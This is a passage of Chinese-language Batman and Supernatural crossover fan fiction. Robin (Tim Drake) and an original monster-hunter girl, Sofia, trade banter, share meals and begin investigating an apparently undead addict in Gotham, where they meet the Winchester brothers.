提姆还是不免有些失落，在哥谭加害者利用法律漏洞逃脱法律制裁的事并不少见。作为义警提姆认同蝙蝠侠的不杀原则，任何人都不能凌驾于法律之上夺走他人的生命, 但是在某一个瞬间看着肆意妄为的罪犯, 提姆内心还是会感到一丝愤怒。 对世界认知的打破重塑往往是痛苦的，提姆在年幼时就见证了哥谭的传奇，看到了那些除恶扬善的故事。放在任何地方这样的超级英雄式的故事都显得有些俗套，只有在被抛弃的泥潭一样, 繁荣与堕落共存的哥谭, 这样的故事成为了奇迹。 可是当提姆接手罗宾的披风, 直面同伴在这个过程中付出的惨痛代价。即便每个人都做好了随时为了正义和理想付出一切的心理准备，可是看着同伴的痛苦和离世，终究是附着于灵魂之上永远无法被驱散的阴霾。 夜巡的鸟儿停了下来, 静静的站在熟悉的人身后, 少女今天难得没戴兜帽, 黑色的发丝被风吹起。 只是这次提姆没闻到洗发水的味道，也可能是索菲亚的手边放着的快餐店的袋子里食物的香气存在感过强, 霸道的占据了人类能闻到的所有气味。 索菲亚还在埋着头吃手里加了好几层肉饼的汉堡, 头也没抬就用另一只手从袋子里摸出另一个汉堡扔给身后之人。 提姆接过汉堡, 上面的标签显示这是一份热量爆炸的不健康食物, 巨无霸汉堡加两层肉饼，肉饼和蔬菜间挤满了橘黄色的千岛酱, 只剩下的那点蔬菜可怜巴巴的被肉饼夹击, 完全失去了存在感。 被腌制到位的牛肉饼在铁板上经过炙烤后充分表现出美拉德反应, 散发出焦香的肉味，千岛酱酸甜的味道混杂着清洗之后还带着水珠的青菜的气味，冲淡了肉类可能出现的油腻。 “我赌你没有吃饭。”索菲亚咽下了口中的食物才开口。“要是猜错了就把汉堡还我，我还能再吃一个。” “谢谢。”提姆上前坐在索菲亚身边，拆开了包装纸一口一口把食物送进肠胃之中。 “你最近在查什么？都没在蝙蝠侠身边看到你。” 想起文件里那些惨绝人寰的画面，提姆把嘴里的话咽了下去摇了摇头。 “这样啊，那我们的presentation怎么办？” “我去吧。”提姆几口吃光了手上的食物，顺手把包装纸揉成一团。 “垃圾放我这吧，我等会扔。”索菲亚从带着战术手套的手心接过纸团扔进了袋子里。 “回去你不会还要加班吧，听起来好命苦哦提米。” 被食物填满的滋味让提姆紧绷的精神难得放松了下来，持续被情绪烦扰的不适也被晚风吹散，索菲亚侧过身，那双圆眼像极了等待人类抚摸的猫。 等到意识回笼，罗宾才不慌不忙的收回了放在索菲亚脑袋上的手。索菲亚身体顿了一下，很快便真的像只猫一样热情的凑近了身体，用手臂环住了面前的少年。 “你怎么能摸我，好过分的小鸟，那我要摸你。” 少女的手并不老实，松开罗宾后直接冲着提姆好不容易做出发型的头发袭击，揉乱了罗宾小鸟的羽毛。 “好软的头发，我听说细软的头发以后容易掉发。” “不会的。”罗宾斩钉截铁的说道。 “可是你还熬夜，还喝好多咖啡。” “不会的。”少年缓缓的将自己从索菲亚的怀抱里挣脱，转身就要从脱发的地狱里逃离。 “没关系的，罗宾，就算你秃了我们也是好朋友的。” 不要再说了，这里没有人会脱发。 罗宾落荒而逃。 和林肯马奇的交易结束后，索菲亚倒也不是完全过上了清闲自在的生活。猎魔人布兰登小姐和搅局者布朗小姐终于找到了线索大师的下落。 两人跟在人屁股后面兢兢业业的蹲了三天只能证明，这人确实有犯罪的想法，但目前为止凑出来的线索还是一个想去GCPD举报对方预谋犯罪都会被以寻衅滋事的名义打出来的地步。 “我不甘心，凭什么只有犯了罪才能被警察抓走，难道潜在的罪犯就不算罪犯了吗？”斯蒂芬妮捏爆了手里的热狗，墨西哥辣酱喷到了少女紫色的披风上格外的显眼“草凭什么，怎么人倒霉的时候热狗都能欺负我。” 索菲亚正在埋头苦吃自己在24小时内的第五顿饭，虽然少女也没有很饿，但来都来了为什么不吃。 “那我们今晚就去取你爸的项上人头，根本上断绝——” “除了这个。”斯蒂芬妮咬了一大口热狗，咀嚼的时候用力到让人以为她在吃仇人的血肉“我要阻止我的三流反派爹不代表我也得成为三流反派，听起来也太惨了吧，我还想给蝙蝠侠投简历做四代罗宾呢。” “那我问问罗宾打算什么时候长到两米给你腾位置。” “所以你俩谈了？为什么？你俩也不熟啊。”斯蒂芬妮瘫在沙发上看索菲亚换衣服，灯光下在少女皮肤上各类狰狞的伤疤格外刺眼。 “好玩吧。”索菲亚神色不变，把换下的脏衣服丢到洗衣篮里“谈恋爱的话就可以正大光明的叫他出来吃饭了，我喜欢的餐厅都没有单人餐可以选，如果他不来我就可以说‘你不爱我了吗？我们的感情果然是虚假的，好过分的男人’来指责他。” “哇塞。”斯蒂芬妮的眼睛亮了起来，蹭到索菲娅身边一把将舍友抱在怀里转圈“好过分的索菲，但我好喜欢。” “那你一定要在他反应过来之前踹掉他，要是被分手就算没那么喜欢也会不舒服吧。” “我也是这么想的。”索菲亚脚下一绊摔在沙发上，来带着斯蒂芬妮也摔了上来，黑色的金色的头发混做一团。“我打算谈满一个月再分手。” 安静片刻后，便是笑声。 “嘶，要是在夜巡我们的脸就丢尽了。”大笑后，斯蒂芬妮小心翼翼的把自己的头发和黑色的短发分开，却还是不小心扯到了头皮。“蝙蝠侠估计会给我们打上不靠谱标签再也不和我们合作了。” “没关系，我们可以都去卖柠檬茶和热狗，就算是再不靠谱，夜巡的时候肚子饿的咕咕叫的蝙蝠侠也得带着罗宾来买我们的吃的。” 索菲亚帮忙分开两人的头发，眼神扫过斯蒂芬妮的侧脸却对上对方的视线，两人又是笑做一团。 不过，既然肯定要分手，那就在分手前借着情侣的关系把哥谭好玩的一个人去不了的地方都去一遍好了。 上午九点，提姆被窗帘缝隙中透过的阳光叫醒，好不容易才坐了起来，大脑完全放空。 “您睡醒了吗提摩西少爷？” 房门被敲响，得到答复后穿着燕尾服的阿福打开了房门。 “早饭已经准备好，您上午有安排吗？” “我今天有空。”提姆打了个哈欠从床上爬起来“有什么事吗？” “今天上午十点有一场会议需要布鲁斯老爷出席，不过看来他现在已经没办法醒过来了。” 罗宾和导师回到蝙蝠洞时几乎要天亮，摘下面具的布鲁斯让提姆早点休息，自己却坐在电脑前加班，直到接过来管家递来的咖啡喝下几口后就在不可置信的眼神中倒在了工作台前。 目睹阿福往咖啡里添加强效安眠药的提姆把想要加班处理任务报告的话咽到了肚子里，帮着阿福一起把布鲁斯抬回了房间。 就那几滴分量，足够药倒一头两吨重的大象，布鲁斯如果这样还能起床才是真正的人类奇迹。 “我或许可以帮忙，我能做什么呢？”提姆的话还未说出口，就被管家以肉眼无法看清的速度换上贴合身体的面料舒适的西装，在吃过早饭后就被管家推上了车库里算得上低调的迈巴赫。 “提摩西少爷，这个家就交给您了。” “我需要做什么吗？”提姆有些茫然想要离开，汽车却已经启动，少年真能在车窗里看到越来越遥远的阿福。 “您只要到场就好了。”阿福的笑容里满是欣慰，向少年摆了摆手。 我真傻，我真的，为什么会相信这样的话呢？为什么要心疼布鲁斯呢？ 有的人刚刚到达韦恩大厦就被等候已久的秘书团簇拥着送进会议室，好不容易找回脑子的提姆被几段冗长枯燥的发言催眠的昏昏欲睡，但还是努力摆出认真听讲的模样，时不时对上发言人的眼神摆出一个微笑。 好不容易熬到会议结束，刚想离开的提姆来不及挣扎就又被人流裹挟着被塞进了布鲁斯低调奢华的专属办公室，被雪花一样的文件淹没在市价超过几万美元的高级老板椅里。 提姆一边痛骂几个小时前的自己，一边却又控制不住自己翻看文件的手，再确认没有问题后签上了名字。 这不对吧，我不是姓德雷克吗？为什么韦恩集团还可以认我的签名啊，这合法吗？ 身穿职业装的秘书哈里森小姐露出一个神秘的微笑，拿出一份签上了布鲁斯大名的委托书，简单的几张纸里就将还没上高中的提姆指定为自己的代理人。 即使拼尽全力但还是被文件淹没的少年竭力保持沉稳冷静的外表，但还是觉得有什么重要的东西似乎离开了。 救命，蝙蝠侠救命。 第24章 只是隔了一天没见, 提姆就仿佛失去了所有的活力，像是忘记被主人收起来的被太阳晒到原地去世立马的又被浇了过度的水险些淹死的可怜绿植。 索菲亚拿起茶壶给提姆烫了餐具，倒上一杯用栀子泡开的茶水。 两个人坐在唐人街一家中餐馆里, 立式空调有些年头即使再怎么孜孜不倦的吹出冷气但还是无济于事，只能靠固定在墙上的风扇嘎吱嘎吱的摇着脑袋吹风。 好在哥谭刚刚下过雨，气温略微降低了几度, 不至于当场体验被水煮清蒸的糟糕经历。 “所以你现在从学生一下升级成董事长亲自授权的代理人了, 好酷。”索菲亚对着茶杯吹气，抬眼看坐在对面满是死气的提姆。 “我没想到，布鲁斯怎么能堆那么多文件。”提姆无奈的扶额，看着明显是机器翻译的菜单。 “所e on, MaiCai是什么？” 同样注意到的索菲亚茫然的摇头, 抬起头环视四周确认没有找到任何演奏或者播放音乐的途径, 信誓旦旦的回答。 “至少不会是一首歌。” 另一道fuck the duck until exploded同样炸裂，索菲亚实在没忍住笑，视线不停的落在提姆身上。 “这道菜不会用的还是公鸭（drake）吧。” 反应过来的提姆一样没绷住表情, 两个人趴在桌子上笑了两分钟才继续点菜。 提姆不是吃饭的时候喜欢说话的人, 虽然作为德雷克家的独苗从小没少去各类晚宴, 但大多数人也不会选择在这种场合用餐，大家大多端着酒杯觥筹交错间就完成了一场或大或小的利益交换。 好在作为未成年, 提姆还能戴着和妈妈礼服相同颜色的领结, 不需要晃着杯子里的酒精被迫社交, 蹲在角落吃点心。大多数时候只需要等到爸妈结束社交, 就可以举着作为乖乖在原地没有乱跑奖励的冰淇凌回家。 在自家的餐桌上，珍妮特的话题大多数时候是对于市面上珠宝的吐槽, 尤其是那些将廉价材料包装后卖出昂贵价格的品牌。 杰克总会耐心听完珍妮特的吐槽, 大概率是某次在妈妈刚吐槽完就踩着雷点送了华而不实首饰的经历带来的教训。 当刚离开家上学没多久的提姆尝试说话时, 两个大人都会停下来静静的听他讲学校里发生的事，即使一时忘记了要说的话，来自父母饱含鼓励的眼神也让提姆觉得温暖。 等提姆稍大些，两人就放心的把乖巧的儿子交给了庄园里管家和保姆，满世界追求自由和浪漫去了。 虽说给提姆去找寻蝙蝠侠的小爱好提供了方便，但总会有想倾诉却只能面对着冷清的餐桌失落的情况。 或许，提姆是有一点点寂寞的。 心不在焉的用勺子扒拉碗里的米饭，索菲亚倒是胃口很好，从提姆遇到她起少女的大多数精力似乎都用在了吃上，像是油管流行的吃播视频一样，看她吃饭即使不饿也会想吃上点食物。 提姆跟着勉强吃完了碗里的饭，就看见索菲亚本该吃干净的饭碗里又是满满的一碗饭。 扇叶转动间，微风吹过，提姆坐在原地静静的看着索菲亚。 自那天从青柳小屋回来后，提姆的脑海中总是会想。 索菲亚当年到底在青柳小屋经历了什么？她也是试验品吗？还是说她只是因为失去了父母恰好被安置在青柳小屋？ 鲍尔斯到底想拿琥珀金做什么？他是否还有同伙？哥谭其他家族是否也参与了进来想要分一杯羹？ 冷光灯的照射下，黑色的被美瞳放大的瞳孔格外显眼，脸颊上又多了一道细小的划痕。索菲亚捧着碗的手指上贴了创可贴，大概率用钩爪枪的时候被划伤了，提姆手上同样有类似的伤痕。 大多数时候不痛不痒，只是在接触水的时候会有些存在感罢了。 而这只是夜间工作中最微不足道的伤害，刀伤，枪伤都是常事，咬着牙自己缝合伤口早已司空见惯，提姆不过做了几个月的罗宾就几乎对于疼痛麻木，布鲁斯十几年下来用下来的止痛药能够让任何一个医生做出药物滥用的判决。 猎魔人也是一样吗？ 察觉到提姆视线的索菲亚抬起头，和提姆的眼神在风扇嘎吱作响的烦闷空气中交汇，被凝视的不适让少年下意识移开了视线，却注意到少女白皙的咽喉处凸起的一道伤痕。 如果没有记错，索菲亚上次还没有这样的伤口。 直到索菲亚的手不经意的挡住了蜈蚣一样的伤疤，提姆才拉回思绪。 “你受伤了吗？” “这个啊，遇到讨厌的家伙了，挨了顿打。”索菲亚将手放下，抬头把伤口展示了出来“不过放心，我没吃亏，也没杀人，你没理由把我抓走。” 提姆下意识伸手想要确认伤疤的严重程度，悬在半空的手就被少女抓住，有些微凉短的手指撬开了少年虚握的手，从掌心滑动至指缝，牢牢相扣。 “想摸？那是另外的价钱。”索菲亚突然露出个略带狡黠的笑，脸颊上的酒窝没减轻半分奸商的气息“十个冰淇淋起拍，还有更高的价格吗？” 提姆挑眉，笑容里满是势在必得，回应般捏了捏少女的手。 “我出二十个，够了吗布兰登小姐？” “二十个一次，二十个两次，二十个三次——”索菲亚松开少年的手，起身从餐桌另一旁走过，贴在提姆坐着的椅子把少年往里挤“成交了，现在拒不退款了，德雷克先生。” 索菲亚再度牵上少年的手，指引着友人将手指放在那道狰狞的伤疤上。 手指能清晰地感受到微微地颤动，猫一样的少女弯了弯眼睛，随着一声吞咽，提姆清晰地感受到皮肤在指尖滚动的触感，微凉的细腻的皮肤上增生的伤疤部分格外突出。 指尖数次划过那道疤痕，少女却没一丝的不适，毫无顾忌的大胆的用眼神观察着提姆的细微的表情变化。 两张年轻的面孔几乎要撞在一起，提姆才后知后觉的意识到这样的距离太近了，即便是父母这样的距离都或多或少有些冒犯。少年下意识将身体后仰想拉开距离，索菲亚却爆发般将少年的手贴在自己的脸颊边，继续注视着少年不复冷静的介于大海吗，天空以及名贵宝石之间的蓝色双眼。 由掌心传递而来的属于另一个本应是朋友却突破了那层关系的人的体温，这种陌生的体验即便是一向自认为有点聪明的提姆大脑也开始停转。 直到少女重新拉开距离，提姆才快速整理好了那些出格的不该出现的杂乱思绪。 一个月后，由韦恩集团出资的游乐园会进行试营业，按照计划那晚会燃放价值数百万美元的烟花，烟花结束之时也是一切梦境破碎接受现实的时候。 提姆打算在那天结束目前的一切。 如林肯马奇所说，他的脸会出现的越来越频繁。 几天内，无论是商场外挂的宣传海报，电视上放映的谈话节目，油管上流传的宣传短片，那张英俊的典型美国白男的带着下巴屁股的脸二十四小时不间断的出现在哥谭人肉眼所及的所有地方。 即便是看到这张脸就会快速切频道的索菲亚也被迫知道了这位政坛新星的故事。 一个出身寒微，从哥谭本地孤儿院走出的男孩，凭借自己的汗水和努力，成为了投资公司的创始人为自己赢得千万家产。 但年轻人并不满足，而是在看到哥谭现状后决定挺身而出，反对腐朽无能的前任政府，用自己的一腔热血全身心的投入到家乡的建设中，参加了本届市长竞选。 至少不说其他的，只凭一张帅脸，林肯马奇已经比严肃刻板满是算计的干巴老头，有多次入狱经验但归来仍是良心企业家的企鹅人以及无能到只敢对蝙蝠侠狗叫的现任市长靠谱太多。 如果说真要在这些人中选一个的话，索菲亚选择连夜蹬自行车带着全部家当去乡下种地。 这里是什么人间炼狱吗？哥谭市民的意识都是用钢铁铸成的吗？ 为什么不支持蝙蝠侠竞选市长，至少蝙蝠侠有脑子还能卷。 一定要在罪犯，废物，罪犯和罪犯中挑一人当市长吗？ 这市长是非要不可吗？ 索菲亚打听了提姆的口风，至少从蝙蝠侠的角度看来履历干净且意气风发的林肯马奇无疑是最好人选。 不是的哥们，你根本不知道咕咕杀人中心的洗白能力有多强啊。 就算是□□过来都可以洗成，为了国家牺牲自我奉献一切的无产阶级战士的机构做出来的虚假消息到底有什么可以相信的啊。 这种悲痛的恨不得把真相全都托盘而出，然而只会暴露出自身是黑暗组织同伙的经历让索菲亚即便半夜醒来还是忍不住叹气。 等到夜巡的路上遇到了蝙蝠侠，失望之情几乎溢于言表。 “唉，算了，祝你成功。” 打了个喷嚏的蝙蝠侠侧身闪过了喽啰的攻击，一脚将敌人踹飞出去，还能用钩抓枪将另一侧用枪瞄准的壮汉拉进身侧使出一记重拳，罗宾清晰地听到了对方骨头断裂的清脆响声。 “B，你没事吧。” 蝙蝠侠没有回话，而是将散落一地的混混各自捆好，转身离开。 “你的恋爱情况如何？” “还好，不对我没有恋爱，那只是个误会。” “我相信你罗宾你能处理好一切，但有件事你必须要记得——做好安全措施。” 听到导师的话，罗宾脚下一滑险些从高楼落下。 “不是，我没有……” “别太伤一位女士的心。” 罗宾不语，闷闷的跟在导师身后，终于还是没有说话。 第25章 哥谭的气温每天都在勇攀新高, 不知道藏身在树冠还是草丛中的蟋蟀尖锐持久的鸣叫声穿过墙体平等的攻击着每个人的耳朵。 人群因为不同的课来回在各个教室穿梭，眼睁睁看着课表上的课越上越少，索菲亚突然后知后觉的意识到, 夏天要来了。 伴随着夏日带来的炎热，虫鸣和阴晴不定的天气外，还有一件事也迫在眉睫。 这学期的所有课程基本都要结束, 掰着手指头数下来只剩下一个presentation, 就能结束这几个月所有的学习任务，下次开学报道索菲亚就要接受从初中到高中的转变了。 索菲亚拎着书包就对着空调出风口，让冷风基本带走了身上的燥热才回到自己选好的座位，提姆正站在台上调试设备检查文件内容防止出错。 好同桌终于愿意放弃他五颜六色的衬衫换了件白色套头t恤, 露出白皙的脖颈和锁骨, 少年微微低头注意力全都放在笔记本的屏幕上, 额头两侧的刘海自然垂落，遮住了少年的眼睛。 为了方便做准备工作，两人提前半个小时就到了教室准备, 蒂娜的腿上打着石膏行动不便, 稍微要晚几分钟。 “这么说来, 你现在算是少年霸总了吗？” “别打趣我了索菲亚，我只是帮布鲁斯的忙罢了。” 少年将幻灯片调出, 反复确认了插入链接和图片的完整性才抬起了头。 “阿福多做了一份三明治, 你别忘记吃饭, 对胃不好。” “加班加了一天接连错过三顿饭的人没资格说我。”索菲亚打开提姆带来的保温盒, 拿出了阿福精心制作的营养丰富的健康三明治“你吃了吗？不会也饿着吧。” “放心，我吃过了。” “好好吃, 嗯姆, 你说, 咱俩分开之后我还能去韦恩庄园蹭饭吗？” “你放心，阿福很高兴在庄园看到一个会好好吃饭的小孩。”少年从讲台上走了下来，倚靠在桌子前“他估计还会拿你会好好吃饭的事来旁敲侧击布鲁斯，并友善提问布鲁斯打算什么时候加入三体人舰队。” 扣在一旁的手机响起铃声，索菲亚便知道肯定是蒂娜拄着拐杖到了楼下，在线摇一位幸运的朋友下楼迎接。 “我先去接蒂娜，一会见。” 离上课的点近了很多，来来往往的学生在走廊里穿梭，索菲亚熟练的拨开人群逆着人流下楼，不着痕迹的避开好几个失去平衡要撞过来的学生，还能顺手捞一下胳膊帮人保持平衡。 黑色的眼睛在人群中扫视，这时金发的靠在墙边拄着拐杖的蒂娜就格外的显眼。 “这里这里，索菲亚救命。” 索菲亚接过拐杖，让蒂娜环住自己的肩膀借力，金色的还带着护发精油气味的长发扫过少女的后颈，略微有些发痒。 “你抓好，我把你扛上去。” “啊？你一个人吗？你扶我上去就——” 蒂娜来不及说话，就被搂着腰托着大腿离开了地面。 “你行不行啊索菲亚，你要不还是扶我上去吧。” “相信我。” 即使抱起了比自己高一头的少女，索菲亚的表情依旧没有一丝变化，只是让蒂娜拿好自己的拐杖。 “抓好。” “啊？不是——” 蒂娜下意识叫出声，却发现自己没有一点失去平衡的迹象，少女的手臂格外有力，牢牢的托在大腿下方护住了裙摆，另一只手则虚放在腰部。 蒂娜敢打赌，就算不用手臂搂腰索菲亚大概率也能单手把自己抱起来来回跑二十层楼梯。 “索菲亚，你好棒，你为什么不跟我谈恋爱呢？我之前的男朋友根本抱不起来我，还要埋怨我重。” “那是他没用，废物就是喜欢找借口，你在班里随便找一个女孩子都能把你抱起来。” “德雷克也嫌你重吗？”蒂娜揶揄道。 “实际上我抱他多一点。” 即使抱着人但并不影响索菲亚的速度，少女大步流星的跨过台阶，还能分神和朋友聊天。 “你们怎么都知道了，我以为不是很明显。” “一起上了三年学，德雷克可是出了名的外冷内冷，他正经和同学相处什么样我还是心里有数的。”蒂娜扬起下巴“也就你觉得他脾气好，好相处，班里大多数人和他也就是说过几句话的关系。” 索菲亚停了下来，将蒂娜放了下来等到少女重新调整好姿势后才进入教室。 “早上好，麦恩。” 虽说是在给蒂娜打招呼，但提姆的眼神还是落在了索菲亚身上。 “早，德雷克，今天拜托你了。” 提姆点了点头露出一个友好的笑，但索菲亚总感觉这只罗宾鸟的笑容下满是加班的苦涩。 事实证明，提姆确实是一个品学兼优的六边形战士，即便每天晚上都牺牲睡眠时间穿着奇装异服出门和各种哥谭优秀人才战斗，也不影响聪明的大脑在汇报过程里快速运转。 除了转述蒂娜做的幻灯片内容外，少年还能利用自己广阔的知识面进行补充，让本就无聊的课题都变得有趣了许多。 索菲亚刚开始还能听点少年讲述的内容，只是过了没一会注意力全跑到了其他的方向。 年轻的猎魔人有段时间忽视了这座城市不该存在的行事诡谲，不同于人类的怪物的踪迹，但是在某天起罗宾开了一个全新的，只有他们二人知道的通讯频道，并把警方的通讯频道一起单方向接了过来。 同时，被打包好的论坛以及警方消息中与魔法，怪物，人口失踪相关的信息出现在了索菲亚的邮箱里。 一时之间，仗着信息量不够就开开心心在家摆烂的索菲亚第一次体验嘴里被人塞满工作的体验，在深刻体验被背叛的感觉后此时站在讲台上侃侃而谈的某人显得格外可恶。 因为自己加班就把别人也拉来加班坏小鸟。 指指点点.jpg 在罗宾打包好的文件里，目前信息最全面同时紧急度最高的事件确实略微超出了义警工作的范畴。 东区的一个新手蛇头在约好的交易时间里被放了个鸽子，交易对象是个老毒虫，平日里毒瘾发作连偷带抢也要整点货爽上一把，却接连一周都不见踪迹。 蛇头起先没当回事，毕竟在这破地方少个人是再正常不过的事，连报警都显得有些多余。有这些精力不如试着把货卖到学校周边去，那群少爷小姐但凡从手指缝里漏出点钱，就足够蛇头半年的业绩。 这本应该是在哥谭最让人司空见惯的故事，却在所有人没有预料的情况进行了更新。 那个毒虫还活着，只是见过他的每个人都只有一个想法——如果活成这样还是死了比较好。 在大家最喜欢交易的点，出现了一个大号的，上飞机必须得托运的行李袋，这种情况蛇头心里也有数，大概率是某个倒霉蛋的尸体，有时还会附赠作案工具。即便真有哪位愣头青傻乎乎的报了警，最多也就是那群天天靠着税金吃甜甜圈的警察嫌弃的走上一圈，抓几个人做完笔录，事情就了了。 有个磕的上头的菜鸟完全忘记了被拷进局子喝茶的麻烦，大手一挥拉开了拉链，确实是预料之内的一片血肉模糊。 围观的人群觉得无趣，顷刻间鸟兽作散，只是在还没来得及离开时，菜鸟发出了一声锐利的，满是恐慌的尖叫。 “我草，没死。” 那具几乎快被剁成肉馅的身体就这么从行李袋中立了起来，灰白的死人面庞上找不出一丝生机，纯黑的没有眼白的瞳孔没有重心，让在场的每个人都下意识认为自己被这样怪异的事物所凝视，大气都不敢出一口。 好在这怪物没有吃人的喜好，以下腰的姿势后退着消失在小巷尽头。 “这是什么驱魔人吗？是不是有点扯。” “我保证这老头绝对没这么好的柔韧度，他那老腰但凡磕一下就得躺三四天。” 面前的画面过于离奇，即使是再见多识广的老哥谭人也觉得脑子像是被打了两拳。 目前看来，这些零散的故事更像是大家酒后吹水的真实性不明的小故事，但是后续在论坛超过数十人都表示有见到这位驱魔人忠实爱好者，更有甚者捡到了这位老毒虫掉下来的鼻子。 对于罗宾来讲，顺手进行调查不算难事，不过将这事交给相对更加专业的猎魔人显然是更好的选择，即使是不喜欢和人合作的蝙蝠侠遇到魔法相关的事宜也会毫不犹豫将事情委托给那位大魔术师扎塔娜女士处理，而不是自己硬着头皮上。 学到了蝙蝠侠精髓的罗宾正好认识一位非常熟悉的猎魔人，而这位猎魔人最近已经闲到随时会在家里会长蘑菇了。 不过这起事件确实不难判断，不是被恶魔附身就是被恶鬼诅咒，索菲亚只需要把当事人的社会网，最近的社会活动，以及居住的环境进行大致检查就能解决这些问题。 唯一麻烦的点可能是，对付恶魔或者亡灵往往需要准备固定的材料，比如十字架，圣水，食盐以及棕榈，而索菲亚的大多数经验还是针对食尸鬼，吸血鬼以及炼金术师炼制出的非人生物这种拥有实体的怪物，只能希望第一次不要遇到过于离谱的无实体怪物。 所以要去哪里找开过光的圣水和十字架呢？ 索菲亚将视线从手机屏幕上的哥谭教堂移开，心里有了想法。 第26章 原帖中虽然模糊了具体的位置, 但是蛇头提到的附近有富家少爷出没，大概率就在企鹅人势力范围下的遍布着夜总会，酒吧等娱乐场所的罗宾斯维尔附近。 在实地调查前, 索菲亚去了趟黑市，熟练地踹开黑市贩子家的大门，取到了自己提前订好的□□以及一打银制子弹。 除此之外从教会的神父手里以父亲病重想要得到祝福过的十字架和圣水的请求也被应允。 少女拿到所需之物转身的片刻, 就停止了抽噎的动作, 只是已经流出的泪水无法收回，沿着脸颊滑落，平添了几分脆弱感。如果不是格外冰冷的眼神，任谁也不会把索菲亚和刚刚柔弱娇嫩的少女联系在一起。 前往罗宾斯维尔的路上, 还能听到耳机那边罗宾独自夜巡时身边划过的飒飒风声。 “蛇头的真名是本杰明.史密斯, 原先是哥谭大学的化学系学生, 因为在学校兜售违禁药物被开除。不过被开除后，他没过多久选择继续兜售违禁药物，根据戒毒所的记录他本人也在退学后染上毒瘾, 在经历三次戒毒失败后彻底放弃挣扎。” “我还没做罗宾的时候, 在跟着B的时候曾经无意间撞见过他, 最后还是装作找乐子的学生买了份药物才脱身，非常难缠。” “在查询失踪人口后, 帖子里提到的受害人大概率是查尔斯.华盛顿, 这名字听起来有些熟悉……” “他曾经是韦恩集团的项目主管, 在职期间负责的大多是些哥谭建筑的维护工作, 哦对，韦斯特沃德大桥在七年前被小丑炸毁后的维护工作就是由他负责的。” “不过看资料, 他工作期间涉嫌滥用职权, 和合作方利用阴阳合同骗取公司资产, 涉嫌金额在两千万美元左右。直接结果就是维修后的大桥在投入使用不到两年内就发生了坍塌事故，被警方逮捕后坐了五年牢。” “只有五年吗？” 听到这里，索菲亚不免有些疑问。 “有人替他找了胜率极高的黑律师，有意思的是这位律师长期为奥斯瓦尔德家族服务，上一个胜诉的案子还是企鹅人在港口因为人口买卖被蝙蝠侠和当时的罗宾挂在了警局门口。” “如果有企鹅人撑腰，那他怎么会沦落到在街头流浪的地步？” “在他出狱前出现了一点点变故，企鹅人被不明黑客攻击，账户上还未洗白的黑钱被陆续转走。企鹅人大概率以为是查尔斯做了手脚，狠狠整了一把他，利用合同漏洞卖掉了查尔斯的住所。按照计划，查尔斯出狱后不久就会被发现死在家里，只是蝙蝠侠那会把企鹅人扔进了黑门监狱，企鹅人无暇顾及一个小喽啰这件事就这么过去了。” “当黑客好玩吗？” “还好。”少年的声音里带着几分得意“企鹅人不过如此。” “所以他今年才出狱对吗？” “对，今年三月，失去了住所还被企鹅人手下针对的查尔斯只能在街头流浪，为了缓解压力估计染上了毒瘾，只是没想到不过四个月就已经到了注射的阶段。” “能找到的书面资料就这些，监控里有关查尔斯的画面在上个月的20号就已经结束，而这篇帖子发布在查尔斯失踪的半个月后也就是6月4日。不幸的是，罗宾斯威尔街为了方便违法交易，大多数监控都已经被破坏。” “问题不大，交给我。” 索菲亚轻盈的如同一片羽毛般落在路灯上，黑色的斗篷遮住了残存的灯光，在角落里正等着交易对象的男人大约无聊到了极点，点燃了一根香烟。 本杰明是标准的白人男性长相，身高目测在五英尺十一英寸（一米八），体型算不上匀称，此时站在角落里像是根刚错了位置的电线杆。棕色头发被理成了方便打理的板寸，只能看到脑袋上深色的一层发茬，那张格外臭的长脸像极了一头马上要踹人的驴，眼睛被墨镜所遮盖反而看不真切。 所以为什么要在晚上戴墨镜啊？这是什么哥谭流行新元素吗？ 此时，罗宾那边没了动静，估计已经在和哥谭各类人才进行激情搏斗。 索菲亚正要一个飞身下去将人暴打一顿后吊在路灯上慢慢盘问，一高一矮两道身影的进入让索菲亚生生收回来迈出一半的脚步重新蹲了回去。 “嘿，哥们，你这有些什么货？”高的那位张嘴。 “滚开。”本杰明没有抬头，张嘴就是美式问候。 “哥们，我们没什么别的意思，就是想打听点事。”矮的那个影子站在本杰明身边“我们刚到哥谭，听说了论坛上的事。” “我这不卖润滑剂。”本杰明的眼神在两人身上扫过“滚蛋吧，基佬。” “你什么意思——” “等等萨姆，我来沟通。”矮个子的哥们有双特别漂亮的眼睛，在光线下显得格外水润仿佛随时要落泪“哥们，我俩刚从电影学院毕业，看了你写的那个故事有点好奇，我俩就指望这个剧本翻身了。” 那位高个的壮硕的被叫做萨姆的男人跟着同伴装模做样的从口袋里拿出证明，即便如此本杰明看到拿反的警官证时还是发出一声冷笑。 “不对，哦这是我们剧组拍上个警匪片的道具，是不是很真。” 本杰明难得睁开眼睛看了看，慵懒的吐出一口烟圈。 “说吧，你们能给多少？” “你要多少？”萨姆挑眉，但背后的肌肉始终保持绷紧状态，索菲亚打包票这哥们大概率是打架的一把好手。 “这个数。”本杰明比出三个手指“不然就滚蛋草你爸的屁股去吧。” 索菲亚蹲在路灯上听到这番对话掐着大腿才没笑出声来，思索着这哥俩不会真的傻乎乎的给钱吧，连点暴力手段都不用吗？ 就在此刻，随着本杰明叼着的那根烟头掉落下来的烟灰在空中熄灭，矮个男人一记重拳挥出。 “说了我们是兄弟，杂种。” 那位萨姆很快也冲了上去，两人果然是练家子，配合也算默契一前一后堵住了本杰明的退路，每一招对冲着对方面门而去。 索菲亚一眼看到了萨姆别在腰后的旧手枪，能在这种冲动情况下还不拔枪的除了警察，义警大概率也只有猎魔人了。 结合对方拙劣的演出，索菲亚两眼一黑看不见猎魔人的未来。 从路灯上一跃而下，光线也随之消失，一片漆黑中索菲亚精准的看到了三人的站位，用刀背分别敲击了三人的腿窝，后颈，随后便顺手把这三人捆了起来。 “你是谁？” “6月4日你看到了什么？”索菲亚压低了嗓音“你怎么知道那家伙是查尔斯。” “你是什么东西我凭什么要告诉你。” 索菲亚抓住本杰明的关节，轻轻一扭就听到了意料之中的声音，在男人撕心裂肺的吼叫中满意的放下了手。 “你可以试试能坚持到第几根骨头被打断。” 索菲亚不去看眼神里满是怨毒的本杰明，转头看向了被捆在一起的兄弟俩。 “看得出来你俩确实是外地人了，搭讪的路数在外地行得通在哥谭可不行，你应该直接打断他的骨头再问话。说说吧，你们追查的是恶魔还是亡灵？” “恶魔……不是你是？” “很难理解吗？同行罢了。”索菲亚手起刀落，捆住二人的绳索便被分成几段后落在了地上“喊我布兰登就好。” “迪恩温彻斯特，这位是我弟弟萨姆，我们也是看了帖子来的。”矮个男人揉了揉关节，从地上爬了起来“只是没想到还有人愿意干这烂活。” 